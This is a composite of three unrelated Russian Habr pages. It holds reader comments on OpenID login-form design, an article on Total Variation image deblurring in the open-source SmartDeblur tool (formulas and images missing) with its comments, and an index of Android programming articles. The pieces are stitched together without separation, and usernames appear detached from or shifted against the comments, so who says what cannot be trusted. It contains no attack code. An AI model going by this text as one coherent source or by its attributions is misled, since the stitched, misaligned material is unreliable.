Хорошая аккуратная форма, которая отлично подходит к ресурсу с ярко выраженной технической направленностью. На мой взгляд, тут это абсолютно уместно.
nobr
Можно использовать идею сайта startpanic.com для определения на каких ресурсах бывает пользователь и оставлять только видимыми только их кнопки, а остальные скрывать за кнопкой «Другие» и т.п.
kmike
короче вся проблема в том, что слова логин/пароль все уже знают, а вот OPenID — нет. Действительно перечислять всех (даже крупных провайдеров) OpenID — неудобно, а использовать нераскрученный термин — бесполезно. Так что это только для знающих людей.
kmike
Лучший пример логина по OpenID я видел на StackOverflow
OmeZ
Подобное было написано у Ивана Сагалаева. Хоть бы кто сделал по-человечески где-нибудь.
kmike
Именно что!

«Все, что я тут понаписал — далеко не новость, просто решил все немного систематизировать и донести до большей аудитории. Дело в том, что да, это все вроде не новость, а проектов, использующих описанный подход, не видно у нас.»

Если не пытаться и не рассказывать всем про этот подход, ничего и не будет. Чем больше разных попыток, тем больше вероятность допилить это все до человеческого состояния.
alexerm
Недавно проскакивавший на хабре YouStiker делает так же, чем очень радует.

webbolt
А зачем делать регистрацию по опенайди, а не просто вход на сайт, как пишут во всех агитках? Или тут просто двусмысленность применяемых терминов?
matt
Вход по OpenId и регистрация по OpenI D(создание аккаунта) проходит абсолютно одинаково. Просто во время первой авторизации на сайте OpenID консумера (сайта на котором вы хотите авторизироваться) происходит создание учётной записи к которой и привязывается OpenID идентификатор.
Razunter
Регистрация, авторизация и аутентификация — 3 разных понятия.

Вот как я их понимаю:

Регистрация — это заведение нового уникального аккаунта пользователя на сайте.
Авторизация — выдача человеку прав на какие-то действия, доступ в какие-то разделы сайта
Аутентификация — процесс, в процессе которого устанавливается, что пользователь — тот, за кого себя выдает (в интернет-смысле).

Что такое «просто вход»? Обычно это регистрация с авторизацией после первой аутентификации и авторизация после последующих. Я это и предлагаю. При регистрации совсем не обязательно что-то спрашивать у пользователя и вообще как-то отражать интерфейсно, что произошла именно регистрация, а не просто авторизация.
Mobby
Двусмысленности вроде нет никакой, просто важно въехать в различия между этими 3 терминами.
MikeOzornin
Идеально обеспечивать вход по локальным логину и паролю с вводом этой инфы в стандартной форме, а рядом со ссылками «забыл пароль» делать иконку или текст «OpenID», по нажатию на которую, появлялась бы форма, пример которой выше привели.
kmike
Это как раз то, от чего хотел уйти, и как обычно везде сделано.

Подавляющее большинство пользователей не знает, что такое OpenID, дополнительная непонятная кнопка будет их только пугать-раздражать, и никто не будет ей пользоваться, кроме кучки гиков (вроде нас).

+ в этом случае для логина через OpenID требуется уже 2 клика мышью вместо одного. Или придумывание пары «логин-пароль» в процессе регистрации (чтоб браузер знал, что подставлять в форму), чего как раз и старались избежать.
Dimster
Вы молодцы. Насколько я знаю, были одними из первых в этом деле.
GLiTch
Я недавно совсем то же самое сделал — tuningr.kz/auth
S2nek
На мой взгляд, openID «не пошел», потому что это — технология, а не сервис*!

*имеется ввиду, что это не конкретный, единственный сервис на данной технологи. Можно реально запутаться в самих логинах openID.
kmike
В точку.
kmike
да не беспокойтесь… опять гугл сделает человеческую «подключалку» других OpenID и перестанем путаться) как сейчас с почтой\ридерами и так далее.
allter
по большому счету можно забить на опенID и высылать вместо авторизации линк на почту по которому человек переходит ну и галочку 'запомнить меня' предлагать. тогда и майлру подойдет или скомбинировать — есть опенИД хорошо нет — письмо с хитрым линком в почту.
тогда вообще можно никому не регистрироваться :)

Зы: просто мысли в слух
kmike
Я ровно так и сделал на www.blues.ru.
alrond
я не уверен что корректно и безопасно каждый раз слать линк в почту при авторизации. собственно вот.
kmike
Ну, я сделал примерно так. Учимся шифровать закрытым ключем строчки в формате get параметров с солью. Если веб-сервер получает такую строчку, которая корректно расшифровывается, он знает, что он сам ее выписал. В строчке написана дата, e-mail, ip-адрес, она работает несколько часов после даты выписки и только для того же IP. В базе код регистрировать не нужно.

Функция регистрации — это только привязать к e-mail. Ничего супер-секретного на сайте пользователь не получает, так что легкость регистрации важнее секьюрности.
Supercharged
А можно совместить оба варианта в одном поле
я так сделал на notea.ru

После этой статьи теперь думаю добавить кнопочки для моментального входа
bratspb
Был бы в списке mail.ru — побежал бы прикручивать к своему проекту :)
А так… наверно пока не буду.
kmike
Не читал все комментарии, так их много, возможно сказанное уже было. По-моему, предложенный вариант так же отпугнет новичков интернета, для них эта авторизация через какой-то другой сайт будет непонятной штукой — скорей на рекламные кнопки похоже, могут сразу взглядом отсечь. Нужно писать дополнительный текст на объяснения, а такие тексты читают так же часто, как правила поведения на сайт — т.е. почти никогда.

В итоге — если пользователь в теме, то он и вручную введет свой ОпенИД, а если нет — предложенное решение немного повысит процент входа по ОпенИД, но не критично. Это конечно надо тестировать, но навскидку кажется именно так.

Идеальное было бы решение, если бы можно было опросить все ведущие сайты-поставщики и узнать есть ли там логин у пользователя зашедшего на сайт. Если есть, то вывести ссылку типа «Авторизоваться через name.livejournal.com». Или сразу авторизовать, при входе на сайт. Но тут видимо есть ограничения технологии, я не очень в теме.
inkvizitor68sl
>По-моему, предложенный вариант так же отпугнет новичков интернета, для них эта авторизация через какой-то другой сайт будет непонятной штукой — скорей на рекламные кнопки похоже, могут сразу взглядом отсечь.

Это справедливые опасения. Которые, как мне показалось, не подтверждаются, судя по статистике регистраций. Во всяком случае, тех, кто испугался, меньше, чем тех, кто поленился регистрироваться обычным способом, потерял email с линком на активацию и т.д. Этот способ, как мне показалось на основе данных по сайту, работает лучше обычной регистрации. Я потому и написал все тут не сразу, а через полтора месяца после введения этой фичи, чтоб проверить, работает она или нет.
mitja
На самом деле, все, что нужно рунету в плане сторонней авторизации — это Вконтакте Connect. Или, действительно, openid-провайдер от Вконтакте.
fedor5757
вот уж не надо. не лучший сервис, который многие не переваривают. и так достали ссылки на страницы вконтакте которые без регистрации и не увидишь, а еще авторизацией лишний раз глаза мозолить.
mitja
Обязательно использую.
fedor5757
нельзя
dab512
Вроде теоретически можно, смотреть в сторону checkid_immediate.
Но это уже какая-то черная магия.
Adelf
да уж, гугл openid куда запрятал…
а например при авторизации через openid гугла на ЖЖ ник выглядит ну совсем «красиво» :(
8cinq
Не очень хороший подход — показывать сугубо техническую информацию (адрес openid) в качестве идентификатора пользователя.
kmike
Поздравляю, коллега! Я продумал ситуацию и пришел ровно к таким же выводам год назад. В результате, авторизация на

www.blues.ru/

работает по такому же принципу:
— спрашиваем email (для входа или регистрации)
— предлагаем варианты для входа, в зависимости от того, что ввели: Яндекс, Гугл, Рамблер, ссылка по почте, пароль, если пользователь захотел его завести для своего аккаунта

Я даже писал похожий текст про то, что
— мелкие OpenId серверы (даже LiveJournal) — это зло для распространения стандарта
— OpenId на порталах, на которых пользователи получают много сервисов и почту, — это единственный путь развития стандарта
— пользователи не знают, что они могут воспользоваться OpenId со своими почтовыми аккаунтами. И не узнают никогда, если им это не подсказать прямо на сайте.
— OpenId урлы — это слишком сложно и не нужно для пользователя. Они помнят только свои e-mail-ы, ибо пользуют их часто и они стандартны…

Очень не хватает Мейла… А с остальными провайдерами, за исключением Яндекса, пришлось помучаться. С каждым по-своему.
coldFlame
А можете привести статистику, пусть даже просто в процентах — сколько пользователей основных сервисов (яндекс, гугл, мэйл) и их поведение с этой формой. хочется оценить целесообразность введения.

Просто я проверил тут на своих проектах распределения по сервисам — более 60% пользователей с мейла, 15-20% яндекс, 10% рамблер, 1.5 — 2% гугл. (база пользователей около миллиона)
hoglet
А можете привести статистику, пусть даже просто в процентах — сколько пользователей основных сервисов (яндекс, гугл, мэйл) и их поведение с этой формой. хочется оценить целесообразность введения.

Просто я проверил тут на своих проектах распределения по сервисам — более 60% пользователей с мейла, 15-20% яндекс, 10% рамблер, 1.5 — 2% гугл. (база пользователей около миллиона)
lexxscorp
Большое спасибо за статистику, тем более по такой большой базе.
У нас (на гораздо меньшей выборке) mail.ru отхватывал порядка 30%.

Да, кстати, если пользователей около миллиона, есть подозрение, что проект старый, и для вновь регистрирующихся пользователей статистика может отличаться.

В любом случае,
а) пользователей mail.ru очень много
б) пользователи других систем с большей охотой регистрируются через openid, чем обычным способом, и в вопросе «регистрироваться-не регистрироваться» правильный openid склоняет их в сторону «регистрироваться».

К сожалению, точные цифры привести затруднительно теперь, т.к. данных о времени регистрации в базе не сохранялось, а нынешняя статистика безбожно скомпрометирована хабром) Только если бэкап базы найти и раскапывать его. Но в пункте б) я уверен абсолютно, именно он послужил поводом для написания статьи, хотя до сбора реальных данных были в нем некоторые сомнения.
S2nek
жаль, что нет более конкретных данных.

мейл ру конечно всю статистику портит.

кстати, база пользователей за полгода работы (с января 2009).

kmike
вот нашел ролик. Покажите друзьям.
Пусть нас станет больше. Может тогда мои любимый сайты введут идентификацию OpenID.

www.youtube.com/watch?v=1BbHQNnK9ds
ColorPrint
хы, если этот ролик увидит добрая половина пользователей моих сервисов, то у них мозг может вскипеть :) особенно в моменте, где рассказывается об обмене между серверами.
kmike
появился openid.mail.ru
fedor5757
Спасибо за статью!
Интересует пара вопросов:
1. Имеются регистрации на различных порталах и сайтах. Могу ли я сделать так, чтобы теперь вход на них был не по стандартным логин+пароль, а OpenID?
2. Имеются аккаунты на веб-мани, яндекс, google, ЖЖ. Чей OpenID-провайдер выбрать? Какой лучше или разницы нет? Склоняюсь к почтовым, особенно к Яндексу.
И да, я некропостер :(
Представляю вашему вниманию заключительную статью из трилогии «Восстановление расфокусированных и смазанных изображений». Первые две вызвали заметный интерес — область, действительно, интересная. В этой части я рассмотрю семейство методов, которые дают лучшее качество, по сравнении со стандартным Винеровским фильтром — это методы, основанные на Total Variaton prior.
Также по традиции я выложил новую версию SmartDeblur (вместе с исходниками в open-source) в которой реализовал этот метод. Итоговое качество получилось на уровне коммерческих аналогов типа Topaz InFocus. Вот пример обработки реального изображения с очень большим размытием:



Введение


Описывать базовую теорию деконволюции здесь я не буду, о ней очень подробно было написано в предыдущих статьях. Тем, кто не читал их или подзабыл, рекомендую для начала ознакомиться с ними, чтобы понять терминологию и классические подходы:

Часть 1. Теория;
Часть 2. Практика.

Прежде чем перейти к описанию Total Variation (далее TV prior), необходимо понять, какие же недостатки есть у алгоритмов типа классического Винеровского фильтра? Самые основные — это эффект типа звона (периодический ореол на краях объектов) даже при небольшом уровне шума, размывание границ и мелких деталей, а также плохое шумоподавление с точки зрения человеческого восприятия. Все это сильно мешает практическому применению фильтра Винера ограничивая его применение задачами технического восстановления изображений, например для прочтения интересующих надписей.
Поэтому в последнее время было разработано большое количество самых разных методов, цель которых состоит в улучшении визуального качества. Надо заметить, что количество деталей при этом, как правило не возрастает.

Описание TV prior


Основное качество Total Variation prior с точки зрения результата — сохранение резких краев и сглаживание артефактов деконволюции. Записывается следующим образом:

К сожалению, вычисление этого функционала нельзя сделать простым образом, поскольку здесь требуется применение весьма сложных техник оптимизации.
В качестве альтернативы можно использовать сглаженный функционал вместо абсолютного значения:

Когда эпсилон стремится к нулю, результат стремится к первоначальному определению Total Variation, но процесс оптимизации становится более сложным. И наоборот, при достаточном большом эпсилон результат оптимизации будет напоминать фильтр Винера с размытием краев. К сожалению, приведенная выше формула имеет неквадратичный вид, поэтому она не может быть просто вычислена в частотном пространстве Фурье, как это получалось с фильтрами Винера и Тихонова. Поэтому необходим один из методов пошаговой оптимизации для нахождения приближенного решения — например классический метод градиентного спуска:

Где тау вычисляется по следующей формуле:

А градиент сглаженного функционала определяется как:

Количество итераций должно быть достаточно большим — несколько сотен.

Это самый базовый подход в реализации TV prior, что называется «в лоб». Тем не менее, даже он дает очень неплохие результаты. На базе его в научных публикациях появилось много исследований, которые пытаются еще улучшить качество, а также уменьшить время расчета.

Практическая реализация


Описанные формулы, в принципе, несложные, хотя и очень громоздкие в реализации. Основная проблема — достичь высокого быстродействия, т.к. количество итераций очень большое и каждая итерация содержит много сложных действий. А именно — несколько сверток изображения целиком, вычисления полного градиента и дивергенции.
Скажу сразу, добиться хорошей скорости работы мне пока не удалось, на изображении размером несколько мегапикселей время финального вычисления составляет 2-3 минуты. Но Preview работает быстро — порядка 0.2 секунды.
Сборку под Windows можно скачать по адресу:
github.com/downloads/Y-Vladimir/SmartDeblur/SmartDeblur-1.27-win.zip
Исходники (под лицензией GPL v3) доступны по ссылке: github.com/Y-Vladimir/SmartDeblur

Основные изменения по сравнению с прошлой версией, которая была описана во второй части:
  • Добавлены два метода деконволюции: TV prior и фильтрация по Тихонову
  • Добавлена поддержка восстановления Гауссового размытия
  • Улучшена скорость работы (примерно в 2.5 раза)
  • Уменьшено потребление памяти (примерно в 1.5 раза)
  • Максимальный размер обрабатываемого изображения по умолчанию 3000 (но можно менять в настройках)
  • Добавлена секция настроек
  • Добавлен Updates Checker
  • Поддержка Drag&Drop
  • Добавлен Help Screen с примером изображения и советами по настройке
  • Исправлен баг с рябью в режиме preview

Язык C++ с использованием Qt.

Сравнение


Ну и теперь самое главное — на какое же качество можно рассчитывать при обработке размытых изображений. Будем сравнивать с топовым коммерческим аналогом Topaz InFocus. Остальные аналоги (типа FocusMagic) уже давно не поддерживаются или дают уж совсем неприемлемые результаты обработки. Итак поехали.
Сначала возьмем рекламный пример с сайта Topaz InFocus: www.topazlabs.com/infocus/_images/licenseplate_compare.jpg


Вот результат от Topaz InFocus:



А вот результат работы SmartDeblur при следующих параметрах:
Type: Motion Blur, Length: 10.1, Angle: -45, Smooth: 60%


Как видим, результаты очень схожие. И не так очевидно, что лучше. Topaz InFocus, судя по всему, тоже использует алгоритм, похожий на TV prior плюс пост-обработка в виде шарпинга краев. Надо заметить, что приведенное исходное смазанное изображение, с очень большой вероятностью, является синтетическим. Т.е. взято неискаженное изображение и применен фильтр Motion Blur. Это видно по практически идеальному восстановлению, а также по подозрительно целым параметрам искажения — угол 45 градусов и длина 10 пикселей.

Теперь возьмем реальное изображение, которое я вчера сфоткал на свой Canon 500D с ручным уводом фокуса:


Результат от Topaz InFocus при следующих параметрах:
Type: Out-of-Focus, Radius: 5.5, Suppress Artifacts: 0.34


Результат SmartDeblur при следующих параметрах:
Type: Out of Focus, Radius: 5.9, Smooth: 60%


Тут ничья, можно сказать. Параметры в каждой программе подбирались так, чтобы обеспечить наилучшее качество.

Еще один реальный пример снятый мною:


Результат SmartDeblur при следующих параметрах:
Type: Motion Blur, Length: 6.6, Angle: -37, Smooth: 53%


Выводы


Подошла к концу третья заключительная статья. Получилась она не особо большой, но, надеюсь, будет полезной. Как видим полученное качество обработки уже вполне приемлемо для реального применения. Основная проблема, которая остается — в местах, где есть светлые объекты, после обработки получается заметный эффект звона. Думаю, это связано с тем, что на светлых участках нарушается линейность отображения яркости пикселей, что дает неверную интерпретацию о его реальной яркости. Возможно, нужна логарифмическая предобработка яркости, либо еще что-то.

Еще раз напомню:
Сборку под Windows можно скачать по адресу:
github.com/downloads/Y-Vladimir/SmartDeblur/SmartDeblur-1.27-win.zip
Исходники (под лицензией GPL v3) доступны по ссылке: github.com/Y-Vladimir/SmartDeblur

И как обычно — буду очень рад замечаниям и предложениям по SmartDeblur!
Кто будет пробовать программу — учтите, что параметр качества Smooth в режиме превью и в режиме High-Quality ведет себя весьма по-разному. Поэтому финальный результат ползунка сглаживания можно оценить только после завершения просчета High-Quality.

P.S. Огромная просьба ко всем, кто мне пишет на почту. После публикации двух предыдущих статьей мне пришло (и продолжает приходить) большое количество писем с просьбой восстановить номера машин на кадрах с камер видеонаблюдения, когда весь номер занимает площадь несколько пикселей.
Я этим не занимаюсь! SmartDeblur этого тоже делать не умеет. Это задача совсем другого рода, а именно Super-Resolution, когда из нескольких изображений малого разрешения получается изображение высокого разрешения с новыми деталями, которых не было на исходных данных. Может быть когда-нибудь ей и займусь, но точно не в ближайшее время.

UPDATE Ссылка на продолжение:
Blind Deconvolution — автоматическое восстановление смазанных изображений

--
Vladimir Yuzhikov (Владимир Южиков)
antonon
Круто
YUVladimir
Спасибо!
Terion
Результат очень впечатляющий
AstaRoth
Отличная статья, отличная программа, не задумывались над продажей буржуйским друзьям?
YUVladimir
SmartDeblur изначально задумывался как Open-Source проект.
А так у буржуев уже сейчас есть платный Topaz InFocus.
Кстати, в нем, по непонятной причине, максимальный радиус обработки ограничен 6-ю пикселами, что делает невозможным восстановления средних и сильных искажений.
ofiginuri
И самое забавное, что за самый главный комментарий вас не «отплюсовали».
Спасибо о задумках публикации вашего труда как Open-Source проект, это очень важно.
YUVladimir
Да, можно — причем с большой вероятностью успеха. Правда нужны будут дополнительные приседания в виде вырезания нужного фрагмента и предобработки краев, не без этого :)
А также можно восстанавливать «скрытые» поля на скриншотах (такое частенько попадается в публикациях хабра), которые были смазаны или размыты
Amadeusck
> А также можно восстанавливать «скрытые» поля на скриншотах (такое частенько попадается в публикациях хабра), которые были смазаны или размыты

Бля…
YUVladimir
Не все так просто на самом деле. Результат очень зависит от того, в каком формате сохранен скриншот (png, jpeg), какой програмой делался смаз. В некоторых случаях восстановить легко используя просто SmartDeblur, в других случаях требуется ручной подбор ядра искажения.
Newbilius
Ну я, например, перед выкладыванием «смазываю» до почти однотонности, там не разберёшь :) опять же, некоторые закрывают такие данные банальными черными прямоугольниками. Так что не всё так ужасно…
YUVladimir
Покажите пример смазывания «до почти однотонности», посмотрим :)
namikiri
Я же теперь замучаю вашу программу…
or10n
/me будет использовать только замазывание черным :(
Moskus
Старый-добрый pixelate, он же — «квадраты» тоже не теряет актуальности, как и разного рода smear-кисти.
NikoM
Упс! Поспешил с выводами. Не заметил что это продолжение серии статей автора.
und
Тоже напомнило, причем в стиле анекдота про американскую космическую ручку за миллион долларов и русский карандаш ;)
v1000
Кстати, судя по алгоритму (да и ссылка в статье на них есть), над Adobe'овским плагином работают те же люди, что и над «Robust Motion Deblurring».

Так что, хоть в CS6 плагин и не появился, предварительные результаты можно «пощупать» в демо-версии.
VaKonS
Напомнило: www.youtube.com/watch?v=xPYe2x8QnFo. Интересно как они проводят «восстановление» изображения.
Pixat
Ура, даёшь decensored!
iTs
Сборка под win нормально работает в wine, кстати.
dreamerchant
По идее исходники должны еще под линуксом и макосью собираться (по крайней мере, прошлая версия собиралась), так что можно получить нативные бинарники.
YUVladimir
У меня нормально собралось, да.
dasm32
Хм. Возникла идея: а нельзя ли генерировать случайные параметры (например с помощью генетических алгоритмов), восстанавливать с ними изображение, содержащее текст, и потом пытаться распознать его?
Чем качественнее будет результат распознавания, тем лучше были подобраны изначальные параметры.
KvanTTT
чем качественнее результат распознавания — это очень субъективный критерий.
dreamerchant
Предлагаю следующие:
  • Количество распознанных символов (не очень хороший критерий прямо таки).
  • Правильность распознанных символов в определенном случае. Например, в автомобильных номерах не могут быть любые символы, кроме цифр и букв, а в обычном тесте нет слова «плонета», зато есть «планета».


Лучше всего их каким-то образом комбинировать, для чего потребуются субъективные или эмпирические коэффициенты.
KvanTTT
Это уже есть и называется Blind Deconvolution (слепая деконволюция)
Там точный вид ядра искажения неизвестен, и используется итеративный алгоритм в стиле:
1. Взяли первоначальное приближение обработали, померили качество.
2. Далее немного поменяли параметры ядра искажения
3. Повторяем пункт 1-2 пока не достигнем необходимого уровня качества
Понятие «качество» вычисляется на основе статистических характеристик (т.е. делается предположение, что исходное изображение описывается некоторыми статистическими параметрами, распределениями, ...) и это значение максимизируется
YUVladimir
>>восстановить номера машин на кадрах с камер видеонаблюдения, когда весь номер занимает площадь несколько пикселей.
>>Я этим не занимаюсь! SmartDeblur этого тоже делать не умеет.

Для подобной работы можно попробовать использовать астрономический софт, которым достигается приемлемый уровень детализации облаков того же Юпитера при наблюдении с Земли на любительском оборудовании.
Для этого снимается ролик на камеру, потом с помощью Registax складывается, обрабатывается и достигается многократное повышение детализации.

Было


Стало


Обработано в регистаксе 600 кадров из 4000. Кроп, масштаб 50%. Точка сверху — Ганимед.

Фото не моё, просто советую тем, кому может быть нужно.

Suncheez
Да, Registax и его аналоги как раз являются реализацией алгоритма Super Resolution в чистом виде.
Основная проблема в том, что к задачам восстановления номером он напрямую тоже не подходит, т.к в астрономии мы имеем много снимков неподвижного объекта, а с камер наблюдения мы получаем несколько кадров одной и той же машины, но под разными ракурсами (разные геометрические искажения), а зачастую еще и с разных камер (с разными характеристиками).
Можно попробовать привести все номера к одному размеру и одной форме и скормить Registax'у — может что и получится.
YUVladimir
Ну, мало-ли, может быть преступники приехали на машине и, допустим, минуту машина стояла, пока к банкомату петли приваривали. Тогда можно попробовать.
Suncheez
Так тоже не получится. Нужны небольшие смещения на каждом кадре, а не просто несколько статичных кадров со стационарной камеры.
YUVladimir
жаль.
А Юпитер «штормит» будь-здоров-как в атмосфере. Видимо, это и является ключевым моментом.

Ещё более жаль, что я в этой математике вообще ничего не понимаю, просто полный ноль.
Suncheez
Да, основное — это чтобы были небольшие смещения объекта. При съемке с рук, или как в астрономии когда из-за турбулентности изображение прыгает.
YUVladimir
Логичным образом напрашивается прошивка моторизованных камер, чтобы камера всегда немного шевелилась, буквально на один градус круги описывала. Тогда можно будет применять такие алгоритмы до тех пор, пока техника не позволит без подобных ухищрений разглядывать сетчатку глаза человека в ста метрах от камеры.
Suncheez
И даже с таким подходом мало что улучшится. Это будет работать только днем для неподвижных обьектов. Если обьекты движутся, ничего не получится. А вечером и ночью такие флуктуации будут вызывать смаз. В итоге будет обратный результат.
YUVladimir
Что же делать!? :)
Грелку ставить перед камерой, чтобы воздух шевелился?
Suncheez
Что делать? Ставить нормальную камеру высокого разрешения ))
YUVladimir
Спасибо.
Только вот в GUI не нужно жёстко задавать цвета. Ибо может получиться такое: (Так программа выглядит у меня)
mhspace
Жесть :)
YUVladimir
Но в любом случае я не делал резиновый layout и не использовал системные цвета — т.к. имитировался риббон.
Поэтому при изменении размера шрифта или цветовой гаммы что-то может поплыть
YUVladimir
Так и вышло. :)
mhspace
Выпилив из *.ui файлов все <property name="styleSheet"> получилось такое:

mhspace
А в обычном режиме как теперь все выглядит?
YUVladimir
Вы про цвета? Вот так:
mhspace
Терпимо, но как-то совсем неопрятно без стилей смотрится
YUVladimir
В России алгоритмы не патентуются, можно лишь получить «Свидетельство о регистрации программы для ЭВМ» — от него пользы мало
Да и что там патентовать — старый добрый Винеровский фильтр и другие классические алгоритмы? )
antonon
«Свидетельство о государственной регистрации программы для ЭВМ» имеет смысл делать студентам и аспирантам, при защите дипломных и диссертаций хорошо помогает.
YUVladimir
Автор же делает Open-Source, это хобби и изначально некоммерческое. Зачем сразу патентовать, даже если есть что?

Зато вам теперь, если понадобится что-то подобное реализовать, достаточно взять код
drkernel
Фигасе мне минусов понаставили.
Любой труд должен оплачиваться.
iago
Open source двигают в основном не бедные люди. Подобно тому, как в 19 веке физикой занимались исключительно богатые меценаты.

Я уверен, что у автора есть стабильный доход и он это делает для души. Когда ЗП или доход удовлетворяют, основная мотивация переходит в то, чем ты занимаешься, а не сколько тебе за это платят.
antonon
В россии встречал только людей работающих на энтузиазме.
И буржуев которые выдают разработки за своё и в дальнейшем получавшим за это огромные деньги.
iago
Это все на ту же тему, что и автомобильные номера с камер видеонаблюдения.
Здесь имеем изображение низкого разрешения с кучей jpeg-артефактов.
Попробуйте, как советовалось выше, использовать registax.
antonon
Мне недавно потребовалось тоже восстановить размытое изображение — пользовался функцией ImageDeconvolve из Mathematica.
CB9TOIIIA
Среди примеров не хватает обычного смаза надписи. Условно говоря, задираем диафрагму, делаем выдержку в 1с и снимаем с рук любую вывеску.

ЗЫ А ещё есть такая мерзость, как долгая шевелёнка. Это когда не просто смаз в одном направлении, а трясущиеся по нескольким направлениям за время съёмки руки.
YUVladimir
Со смазом ситуация такая — чем ближе траектория смаза к прямой линии, тем лучше будут результаты.
Это все касается стандартного функционала SmartDeblur, если же использовать кастомную PSF, то можно восстанавливать любой смаз — главное чтобы он был однородным по всему изображению, т.е. именно смаз от дрожания камеры, а не от того, кто то быстро движется.
Antelle
Что-то похожее уже было сделано в 2003 году: refocus.sourceforge.net
amarao
Refocus уже давно не поддерживается. Да и весьма неудобен в работе.
YUVladimir
Поразительно.
Никогда бы не подумал, что из подобного исходного материала можно восстановить в таком качестве.
Writer
Вот уж не думал что такое возможно. Круто.
YUVladimir
Вы всё ещё смеётесь над старыми фильмами, в которых картинку с уличной камеры увеличивали в 50 раз и видели каплю крови на лацкане пиджака убийцы?
sergpenza
Да :)
xskrip
Вот бы еще кто-нибудь написал на основе этого плагин к GIMP…
eyphoriaa
И к фотошопу заодно
KawaiDesu
На то он и Open Source, что может и найдётся спец…
Next
Вообщем-то да, исходники открыты, код весьма простой и компактный, язык C++. Так что желающие могут весьма быстро портировать под плагины. Я сам заниматься этим не планировал — пока есть куда тратить время :)
Изначально задумка была по-быстрому набросать прототип работающей деконволюции и выложить все это в опен соурс, раз уж хорошо разобрался с темой обработки изображений. Получилось немного больше чем хотел.
drkernel
За это и уважаю :)
iago
Вааще не думал, что это возможно 8-0…
YUVladimir
Классно, будем знать, что теперь некоторые кадры вовсе не так безнадежны, как кажется, и их можно «вытянуть».

P.S. Просматривая комменты, ожидал увидеть здесь пару-тройку портянок с комиксами-пародиями на CSI. Странно, не нашел. Поголовье боянистов сокращается? ))
iago
В двух других статьях зато запостили )
cosmichorror
Автору огромное спасибо, и отдельно — за Open source!

Это ведь так когда-нибудь появятся программы, и видео восстанавливающие после тряски.
Всегда догадывался, что математика — царица наук. :)
vladvoron
И вдвойне приятно, что проект делается в России.
YUVladimir
Эх, так руки чесались добавить картинку про CSI, оказалось, в одном из предыдущих постов уже добавили.
VaKonS
Автору очень большой респект.
VaKonS
gpl это хорошо, но почему бы не сделать еще коммерческую лицензию?
tym32167
Цель была в том, чтобы исходники были доступны всем для изучения, но при этом не создавались бы закрытые коммерческие продукты на базе смартдеблюра. Под GPL все производные продукты также должны быть опенсоурсными.
tym32167
никто не мешает продолжать делать open source для некоммерческого использования, обучения, и прочее. Просто оговорить что для коммерческого использования лицензия lgpl и стоит столько-то. Для многих проектов есть возможность gpl бесппатно, либо другие лицензии платно. Если честно, я не понимаю зачем себя ограничивать :)
holygunner
Ну тут никто не мешает обратиться по почте и договориться о лицензии.
Я думал вы имели ввиду почему сразу не LGPL.
YUVladimir
Автор! У Вас талант! Спасибо за софт. Есть реализация деконволюции в виде плагинов для ImageJ, но SmartDeblur получился значительно удобнее.
holygunner
Спасибо!
YUVladimir
все те, кто занимается оптическим распознаванием и сталкивается с необходимостью извлекать текст с переблюренных изображений, могут стать намного счастливее благодаря вам. =)
спасибо!
zurbaganin
Наздоровье )
Буду очень признателен за удачные (да и неудачные) примеры таких заблюренных изображений и результатов обработки

С чего начать?


Пишем своё первое приложение на Android
Пишем первое приложение для Android
Создаем файловый менеджер
Основы программирования под Android на примере игры Судоку
Создание приложения в стиле Android
Спокойной ночи!


Конкретные моменты


Хранение данных в SQLite
Сервисы — это просто
Создание QuickAction диалогов
Диалоговое окно Android с «иконифицированным» меню
Android Calendar API
Использование NumberPicker и кастомизация его внешнего вида
Использование Android Search Dialog. Часть 1
Использование Android Search Dialog. Часть 2
Использование Android Search Dialog. Часть 3
Программирование под Android — взаимодействие с сенсорным экраном
Оповещение пользователя: Toast
Работа со строкой состояния в Android
Настройки в Android-приложении
Работа с камерой в Android
Работа с камерой в Android: снимаем видео
Программируем LED
Простой пример выполнения HTTP-запроса к web-сервису и разбор XML-ответа
SeekBar в настройках приложения
Простое использование AsyncTask и ProgressDialog в Android
Hello World widget для Android
Подсвечиваемый виджет в Android
Тестирование Android приложений
Fragments API
Введение в Renderscript
Renderscript часть вторая

Эффективность


Tips and Tricks по программированию на Android
Многопоточность — как средство повышения эффективности

Практическая реализация приложений


Пишем Magic 8-Ball для Android
Тайм Менеджер для Android. Часть 1
Тайм Менеджер для Android. Часть 2
Пишем виджет ХабраКарма ex-CarmaWidget для Android
Пишем шпаргалку на Android
Пишем whois-клиент под Android

Другое


Hello, NDK!
Использование unix pipes для отображения прогресса выполнения нативного кода на Android'е
Практический опыт работы с Bitmap средствами Android
Заставляем ProgressBar крутиться пока идет http-запрос
Работа с прогресс диалогами
Стандарт разработки приложений под Android
Как реализовать загрузку изображений в список в отдельном потоке на Android
Реверс-инжиниринг android приложений
Первые впечатления от разработки под Андроидом — пишем handsfree
Отправка E-Mail средствами Android
Пишем функцию обратной связи для Android-приложения
Интегрируем Twitter в ваше Android приложение
Android nine-patch — растягиваем андроида
Вызов .NET сервиса (WCF RESTful) из Android приложения
«Правильный» html парсинг
Простой пример выполнения HTTP-запроса к web-сервису и разбор XML-ответа

Полезное


10 полезных решений для разработчика под Android
Различия между API Android SDK Platform
Удержание баланса между функциональностью и совместимостью при разработке приложения
Разработка под Android, грабли большие и не очень
Инструменты разработчика Android
Стандарт разработки приложений под Android
Архитектура Android
О совместимости Android-приложений на различных устройствах
Основные UI паттерны разработки Android приложений
Рекомендации к стилю кода
Вопросы по продвижению приложений для Android
Защита Android приложений от реверс-инжиниринга — ProGuard
Помещаем файлы из Assets на SD-карту с помощью Infles
Иконифицированное окно настроек (Preferences)

Если вы хотите внести топик в индекс, пишите мне на хабрапочту.
TheShock
Топик имеет смысл если будете его постоянно обновлять
Tibr
Буду, так как я сам его использую :)
BaRoN
Благодарствую, при наличии обновлений действительно будет отличный топик :)
VYBGSS
Ну вот и хорошо — тогда в избранное :).
olololog
Отлично. Добавьте в него, пожалуйста, статью «Реверс-инжиниринг android приложений» —
habrahabr.ru/blogs/android/111513/
boOn
Только вчера решил потихоньку пролистать блог Android на хабре по вопросу программирования. Больше половины постов в этом блоге не относятся к программированию. Приятно иметь аккуратное оглавление по этой теме.
dvaruh
Оооо, да уж данная коллекция сейчас многим поможет тут. Я пойду пока почитаю многое из этого списка. БЛАГОдарю.
Nerten
а куда их прикреплять? Для этого избранное вполне подходит, кмк.
bondbig
имеется ввиду, к верху блога, чтобы он всё время первым шёл
TheShock
ну, для только что созданного блога android_development это было бы самое то, да.
bondbig
Интересны критерии отбора между категориями «Другое» и «Полезное».
shemsu
